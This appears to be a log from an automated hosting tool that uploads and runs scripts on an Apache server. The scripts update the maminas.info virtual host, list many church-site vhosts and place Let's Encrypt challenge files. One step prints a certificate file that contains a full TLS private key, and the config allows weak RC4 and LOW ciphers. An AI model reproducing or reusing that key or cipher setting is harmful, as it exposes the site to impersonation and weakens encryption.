chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-04 06:00:17: 

chmod 755 /tmp/pkp921676; /tmp/pkp921676; rm /tmp/pkp921676

2026-04-04 06:00:17: 


dir=/etc/ssl/certs


2026-04-04 06:00:17: 

PUT: /tmp/pkp700183

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-04 06:00:17: 

chmod 755 /tmp/pkp700183; /tmp/pkp700183; rm /tmp/pkp700183

2026-04-04 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-04 06:00:17: 

PUT: /tmp/pkp537237

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi


2026-04-04 06:00:17: 

chmod 755 /tmp/pkp537237; /tmp/pkp537237; rm /tmp/pkp537237

2026-04-04 06:00:17: 




2026-04-04 06:00:17: 

PUT: /tmp/pkp651957

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-04 06:00:17: 

chmod 755 /tmp/pkp651957; /tmp/pkp651957; rm /tmp/pkp651957

2026-04-04 06:00:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-04 06:00:17: Establishing a connection
2026-04-04 06:00:18: 

PUT: /tmp/pkp672054

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-04 06:00:18: 

chmod 755 /tmp/pkp672054; /tmp/pkp672054; rm /tmp/pkp672054

2026-04-04 06:00:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-04 06:00:18: 

PUT: /tmp/pkp844278

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-04 06:00:18: 

chmod 755 /tmp/pkp844278; /tmp/pkp844278; rm /tmp/pkp844278

2026-04-04 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf	1355

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-04 06:00:18: 

PUT: /tmp/pkp593312

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-04 06:00:18: 

chmod 755 /tmp/pkp593312; /tmp/pkp593312; rm /tmp/pkp593312

2026-04-04 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt	5357
b5:d6:ed:87:f8:8e:6e:3c:e9:be:89:72:07:c7:f5:54

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBXAWA34o7ai+54aZvtNpH9PdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA0MDUwMTQ1WhcNMjYwNzAzMDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCh
jnJ0SITHxSxMAjZRLhMMMFfMcV8yuK48c3+qOmF//mT64OKOU2vUVCva4re/Nz8G
jr9XIaZeZgKku9N9hZW3A9CLWxxQiJQ34WmNfZ39L7EaiQfD0zPbJJraAL6AxudC
pHDoEDYMUbTLTWDn9ad5E1/on0NH+DVV0latx1XeSsDNwVwhKeKv1EE4r7PYgLcv
LbNbIO7eM9twp3mdpOkmo7G2NERmS6+I7zV+CKkp708PzWoLpitAYA3rtpkC7U9s
FbbpBVs9R/5eEIc7LaptxH1RdkZ8NeQpNrf6SEN9giLKwRUU8CuFKn7h08Kza2Sf
egQRVTt97/pjzMf8T4S3AgMBAAGjggIqMIICJjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU82Yxz2U5
WLpV/91p5P9agKCs6oQwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxtYW1pbmFzLmluZm+CEHd3dy5tYW1pbmFzLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy85NC5jcmwwggEKBgorBgEEAdZ5AgQCBIH7BIH4APYAdQCv
Z4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ1XE+ojAAAEAwBGMEQC
IFbP3X59qV1IKfqEU7UF3ClBdc4pgRd7112XglyOniJFAiA7FSyyA+zb73BWesw2
ndwdnNlU4+shOhIF8Osq9UpRSwB9AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFz
gJ4YGOs6AAABnVcT6hcACAAABQAFtUsqBAMARjBEAiAmZ2cWBGmCUfNcKz6VW1cV
0kcLk4gSRpt3KPgSOdYUeAIgBSwXPUZyGz7tGK7iRhrcrlwZvrDBLgICeGy8d/2M
gRUwDQYJKoZIhvcNAQELBQADggEBAI6DF6BdWymSNaWwWAqTiFJe/Ks1/dbF+1qf
t9n88Y0vpDld2YBpH74MnCjSc5re0sCSRIKkw4MgLdOYSl87ypf0n5Xr3Xu8hbSt
LKyiLWPxc+igRdSe34RHPNnlKFAFDF+GtmBK/wytnrSZ7uNbWnDL7w81gswna0fm
pwa2AR5+QSDynLJhTz93yzPoXgd6a3CJBZJ/mEj5lmCqBta+6HcDKsP62UiWxAr6
f+Ml+W+uuJ069mrVUlbbdKq504csKirvahKcbw5l0gNUCUBh9bwvPVh+3fIzdTRv
jxoAgWfDt9ajSPm3GuO6l+jxwcwso8SZqX1giUA9HyGq8CnB5LY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQChjnJ0SITHxSxM
AjZRLhMMMFfMcV8yuK48c3+qOmF//mT64OKOU2vUVCva4re/Nz8Gjr9XIaZeZgKk
u9N9hZW3A9CLWxxQiJQ34WmNfZ39L7EaiQfD0zPbJJraAL6AxudCpHDoEDYMUbTL
TWDn9ad5E1/on0NH+DVV0latx1XeSsDNwVwhKeKv1EE4r7PYgLcvLbNbIO7eM9tw
p3mdpOkmo7G2NERmS6+I7zV+CKkp708PzWoLpitAYA3rtpkC7U9sFbbpBVs9R/5e
EIc7LaptxH1RdkZ8NeQpNrf6SEN9giLKwRUU8CuFKn7h08Kza2SfegQRVTt97/pj
zMf8T4S3AgMBAAECggEANNW6Nq9UxWSFdSIwE2KHFjBlNlZJdPQS/3Aia1CGfG59
JdMQJM3BcQJKCV6mCyINOZ7LkrpNh4fDC47lvqJGcUENHdYhL3FLT+8nLv/LAHdt
aykvYeqbheq1veAKbWEfVpsi1bIfiu3Zu7dFnvam26Drd89GGK5i+vs8H78WJQk1
phn7QXQ8kZpy7oJgWew8rywdLtGtQDmTub6onyd3tKPRbwRCBkt729R1QgiVGecP
uxLk9WjzJbqlZxAskpX4E5RLZW3JgLAuApMNaM12pmgfdeoi0ODiFyYiPHH81n3k
TUpCyUqPwJbLVf0D4hKvyXkUAIxuS3qintTu5vRcEQKBgQDjWNZCVij1RQMbMLWn
A/wE52FeHC7xF0K05zFCdD+TTrSD0L5EldHoxSRxKI6AGeN6lw0b/NJfGMPlxGH1
R5/1gq6nO2w0/EQM9MLTo6kkBS8/quFjoNt8jHP4LG4UeLR6qM5ZQdZw+LXTr/02
6+sGuupFsXVtoUHdshcMDQPI+QKBgQC16u5z6y/2oM33Cw3/o+Lw2en5aGGiBeDG
j71mBWINZpDOqs6BWsJxboTF21ySsP4J7qs2CNUazJXxvUVtURZ+3EudH+brPnOB
Y7+sWvxqXXcz518qFHZCTFyV/hSNNHnSqeoJkyKaTCpgcEQlw0pPGp9feGoVgSDx
Qm5e5xlXLwKBgD9g3qozlst5Z7pGw/1BcRp03oH73WI8l84SvXrHKYoJYO12XfSE
x7Xab6RUKBWyIeZlAbSRsJvuLX56VsyoIQGyYrogKLREtzvdaArUDy0JfPiEzLyX
dVitVw8SY8W1OKsRMCVV41AvJZFT+IU9E5IWvYScSh473D7PjPlBD5MRAoGAFEyn
2RWIX5vn/8YjBMCz5S5b1nHYWy0OvPlzJ/w3yckFJZqXuoV3JxMvC6kDtna7kj4o
qrnnlbr4jGYTZjRjLzrD0T+rE9r/JpQL4l6wxemyEH+j9d0cqR8+QZp9jpgpc+Fz
9SeO9+rB28sLP6+ADj2pRQz5wXaMR3+jM0HUaQ8CgYBwAhUfbnLRtDvTC65ZbPZP
rYKOHmLt9wdARBYCTl8IZWWcufJUdU8AoyttZ9sYUdPVzMi8XajHLfiP9hTy/SeK
gw3lknkuUhRjgpWo9yDj9Xfbly0i7xB/pTsPdnSxKgW8Q7JokLTIRJace5p60THl
gC6JB4SPToJd5jTE0Q+Ezw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-05 06:00:03: Establishing a connection
2026-04-05 06:00:03: Establishing a connection
2026-04-05 06:00:03: 

PUT: /tmp/pkp246989

#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-05 06:00:04: 

chmod 755 /tmp/pkp246989; /tmp/pkp246989; rm /tmp/pkp246989

2026-04-05 06:00:04: 


1


2026-04-05 06:00:05: Establishing a connection
2026-04-05 06:00:05: 

PUT: /tmp/pkp301766

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > M8cB_1e14_Vk1ImsFx6WI6wlH0i8POabQISaGoAu0fw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
M8cB_1e14_Vk1ImsFx6WI6wlH0i8POabQISaGoAu0fw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 M8cB_1e14_Vk1ImsFx6WI6wlH0i8POabQISaGoAu0fw
cat > _iKTI-RJ7qj-gdLebDDtNUhBbdMMKCbL3VIweoOHTuA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_iKTI-RJ7qj-gdLebDDtNUhBbdMMKCbL3VIweoOHTuA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _iKTI-RJ7qj-gdLebDDtNUhBbdMMKCbL3VIweoOHTuA


2026-04-05 06:00:05: 

chmod 755 /tmp/pkp301766; /tmp/pkp301766; rm /tmp/pkp301766

2026-04-05 06:00:05: 




2026-04-05 06:00:20: Establishing a connection
2026-04-05 06:00:20: 

PUT: /tmp/pkp624119

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm M8cB_1e14_Vk1ImsFx6WI6wlH0i8POabQISaGoAu0fw
rm _iKTI-RJ7qj-gdLebDDtNUhBbdMMKCbL3VIweoOHTuA


2026-04-05 06:00:20: 

chmod 755 /tmp/pkp624119; /tmp/pkp624119; rm /tmp/pkp624119

2026-04-05 06:00:20: 




2026-04-05 06:00:20: Establishing a connection
2026-04-05 06:00:20: 

PUT: /tmp/pkp285269

#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt

cat > $temp_file <<'endmsg'
